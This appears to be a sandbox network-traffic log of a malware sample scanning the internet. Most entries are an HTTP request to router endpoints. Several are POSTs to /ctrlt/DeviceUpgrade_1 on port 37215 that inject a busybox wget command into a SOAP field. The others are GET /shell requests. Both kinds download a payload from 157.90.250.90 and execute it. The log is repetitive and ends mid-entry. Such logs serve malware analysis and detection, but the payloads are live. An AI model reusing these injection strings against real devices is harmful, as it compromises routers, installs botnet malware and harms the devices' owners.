Dec 3, 2024 23:16:50.101917982 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.23	52214	197.168.254.205	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:50.102586985 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.23	33370	168.200.219.64	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:50.463613987 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.23	39544	209.58.154.1	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:50.464277029 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.23	41066	107.228.249.17	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:50.464925051 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.23	35484	87.101.119.206	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:50.465604067 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.23	47686	166.27.48.146	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:50.466816902 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.23	51184	81.193.189.217	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:50.467509031 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.23	57674	74.248.70.53	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:50.468108892 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.23	46738	110.74.199.97	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:50.468713045 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.23	59832	36.177.131.90	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:50.469358921 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.23	36520	206.218.156.58	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:50.469963074 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.23	60984	207.44.6.28	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:50.470571041 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.23	41480	197.142.95.104	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:50.852309942 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.23	42006	156.54.52.64	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:50.853049994 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.23	50496	197.48.57.207	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:50.853584051 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.23	37080	156.2.32.205	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:50.854125977 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.23	53062	41.23.152.112	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:50.854813099 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.23	35240	197.81.114.155	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:50.855416059 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.23	37732	197.68.34.74	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:50.856117964 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope 